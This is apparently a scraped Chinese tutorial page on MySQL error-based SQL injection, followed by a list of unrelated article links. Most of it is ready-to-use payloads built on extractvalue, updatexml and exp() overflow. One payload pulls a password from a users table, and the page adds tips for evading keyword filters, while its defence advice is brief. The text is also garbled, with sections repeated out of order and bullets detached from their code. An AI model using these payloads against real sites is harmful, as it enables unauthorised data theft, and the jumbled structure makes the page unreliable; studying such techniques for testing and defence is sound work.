当前位置: 首页 > news >正文

SQL错误注入攻防实战

错误注入技术概述

错误注入(Error-based SQL Injection)是一种利用数据库报错信息泄露敏感数据的技术。通过构造特定SQL语句触发数据库错误,使错误信息中包含查询结果(如版本、表名、数据等)。常用于存在长度限制或过滤的场景。


常见错误注入函数及用法

extractvalue 函数

语法:extractvalue(XML_document, XPath_string)
通过XPath语法错误触发报错,返回目标数据:

?id=1 and extractvalue(1, concat(0x5c, (select database()), 0x5c))
  • 0x5c是反斜杠(\)的十六进制,用于强制XPath格式错误。
  • 报错信息会返回XPATH syntax error: '\database_name\'
updatexml 函数

语法:updatexml(XML_document, XPath_string, new_value)
通过XPath错误泄露数据(修正原笔误updatemxl):

?id=1 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)
  • 0x7e是波浪号(~)的十六进制,用于触发XPath错误。
  • 报错信息返回XPATH syntax error: '~username@hostname~'

绕过过滤的替代方法

updatexml被禁用,可尝试以下函数:

?id=1 or exp(~(select * from (select version())a))
  • 利用exp()函数溢出错误,返回类似DOUBLE value is out of range的报错信息。
输入框需用or连接的情况

当注入点位于非数值型字段(如字符串),需用or确保语句执行:

username=' or updatexml(1, concat(0x7e,(select password from users limit 1)),1) or '

注意事项

  1. 长度限制:报错信息可能有长度截断,可通过substring()分次提取数据。
    ?id=1 and updatexml(1, concat(0x7e, substring((select @@version),1,20)), 1)
  2. 过滤绕过:若关键字被过滤,可尝试大小写混淆、十六进制编码或注释符分割。
  3. 权限限制:确保当前数据库用户有权限访问目标表。

防御建议

updatexml 函数

语法:updatexml(XML_document, XPath_string, new_value)
通过XPath错误泄露数据(修正原笔误updatemxl):

?id=1 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)

绕过过滤的替代方法

updatexml被禁用,可尝试以下函数:

?id=1 or exp(~(select * from (select version())a))
输入框需用or连接的情况

当注入点位于非数值型字段(如字符串),需用or确保语句执行:

username=' or updatexml(1, concat(0x7e,(select password from users limit 1)),1) or '

注意事项


防御建议

  • 使用参数化查询或预编译语句。
  • 过滤特殊字符(如'"\)。
  • 关闭数据库详细错误回显。

    错误注入技术概述

    错误注入(Error-based SQL Injection)是一种利用数据库报错信息泄露敏感数据的技术。通过构造特定SQL语句触发数据库错误,使错误信息中包含查询结果(如版本、表名、数据等)。常用于存在长度限制或过滤的场景。


    常见错误注入函数及用法

    extractvalue 函数

    语法:extractvalue(XML_document, XPath_string)
    通过XPath语法错误触发报错,返回目标数据:

    ?id=1 and extractvalue(1, concat(0x5c, (select database()), 0x5c))
  • 0x5c是反斜杠(\)的十六进制,用于强制XPath格式错误。
  • 报错信息会返回XPATH syntax error: '\database_name\'
  • 0x7e是波浪号(~)的十六进制,用于触发XPath错误。
  • 报错信息返回XPATH syntax error: '~username@hostname~'
  • 利用exp()函数溢出错误,返回类似DOUBLE value is out of range的报错信息。
  • 长度限制:报错信息可能有长度截断,可通过substring()分次提取数据。
    ?id=1 and updatexml(1, concat(0x7e, substring((select @@version),1,20)), 1)
  • 过滤绕过:若关键字被过滤,可尝试大小写混淆、十六进制编码或注释符分割。
  • 权限限制:确保当前数据库用户有权限访问目标表。
  • 使用参数化查询或预编译语句。
  • 过滤特殊字符(如'"\)。
  • 关闭数据库详细错误回显。
http://www.jsqmd.com/news/859966/

相关文章:

  • 2026年Q2中国市政管道短管置换优质厂家首选推荐:合肥玉通管道工程有限公司 - 安互工业信息
  • 应对高并发场景Taotoken的容灾与路由策略如何保障服务稳定
  • 告别手忙脚乱找字幕:Jellyfin智能字幕插件MaxSubtitle完全指南
  • 【Midjourney布料质感模拟终极指南】:20年CG专家亲授7大材质参数调优公式,92%用户忽略的Gamma映射陷阱曝光
  • 飞控延迟 10 毫秒就炸机、多舵机不同步晃得厉害?EtherCAT 工控机如何实现无人机微秒级精准控制
  • 专业干货:低查重AI教材编写工具,助力教材创作新高度!
  • 2026长沙全域奢侈品回收攻略:多网点布局上门变现更省心 - 诚鑫名品
  • 每天看800份简历的HR真的要失业了吗?AI简历筛选如何解决招聘痛点?
  • 初创团队如何利用Taotoken的Token Plan实现AI成本精细化管理
  • HSTracker:macOS炉石传说数据分析工具终极使用指南
  • 英伟达816亿营收+国产2000亿参数图像模型:AI军备赛再升级
  • 企业 SSL 证书审核难不难?怕麻烦就选速安信!
  • Taotoken模型广场如何帮助开发者选择合适的模型进行调试
  • 专业级多框架可视化解决方案:Viser.js 技术深度解析
  • 将Hermes Agent对接至Taotoken的自定义提供商配置详解
  • HS2-HF_Patch终极增强补丁:5分钟解锁Honey Select 2完整创作生态
  • 数字孪生 · 零基础4周速成学习计划(书籍+实操+项目落地)
  • 明日深圳文博会!BOSMA博冠与您相约
  • 智能音频切片工具终极指南:告别手动剪辑的烦恼
  • 2026年Q2中国污水池清理优质服务商首选推荐:合肥玉通管道工程有限公司 - 安互工业信息
  • 韦斯实验——换气式精密高温烤箱:半导体制造的“隐形工艺大师”
  • 从资源嗅探到流媒体处理:猫抓Cat-Catch浏览器扩展的技术架构演进之路
  • 百度文库纯净打印终极指南:3分钟解锁文档自由保存的完整方案
  • 深度解析Perplexity图书评论搜索机制,手把手教你绕过信息茧房获取真实读者反馈
  • RPC 核心概念 01:什么是 RPC?为什么需要 RPC?
  • 如何利用OOTDiffusion实现智能虚拟试衣:从技术原理到实战应用的完整指南
  • 谷歌推出搭载 AI 的音频智能眼镜,携手 Warby Parker 与 Gentle Monster 合作
  • 5月(2026年)生鲜肉气调包装机口碑企业不容错过,贴体真空包装机/热缩机/牛排贴体包装机,气调包装机厂家找哪家 - 品牌推荐师
  • 观察Taotoken账单明细实现精准成本追溯
  • FanControl终极教程:3步搞定Windows电脑风扇静音控制